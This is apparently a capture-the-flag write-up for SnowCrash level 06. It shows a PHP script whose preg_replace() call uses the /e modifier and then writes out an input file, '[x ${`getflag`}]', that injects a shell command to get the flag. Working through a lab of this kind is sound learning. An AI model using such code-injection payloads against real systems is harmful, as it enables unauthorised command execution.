Introduction:
In level 06, we exploit a PHP script (level06.php
) that heavily uses the preg_replace()
function. By crafting a specific input file, we execute arbitrary commands to obtain the flag.
Steps:
Examining the PHP Script:
We inspect the contents of thelevel06.php
script:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function y($m)
{
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z)
{
$a = file_get_contents($y);
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a);
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;The script defines two functions, x() and y(), and uses preg_replace() extensively. The critical line is:
1
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
It evaluates the result of the y() function on the content within [x …].
Crafting Input File:
We create a file containing the command we want to execute, wrapped in [x ${…} ]:1
level06@SnowCrash:~$ echo -e "[x \${\`getflag\`}]" > /tmp/test
Exploiting the Script:
We execute the script with the crafted input file:1
2
3level06@SnowCrash:~$ ./level06 /tmp/test aaa
PHP Notice: Undefined variable: Check flag.Here is your token : **********************
in /home/user/level06/level06.php(4) : regexp code on line 1The script executes the getflag command within the PHP environment and displays the flag.
Conclusion
By understanding the behavior of the level06.php script and exploiting its use of preg_replace() with the /e modifier, we successfully executed arbitrary commands and obtained the flag for level 06.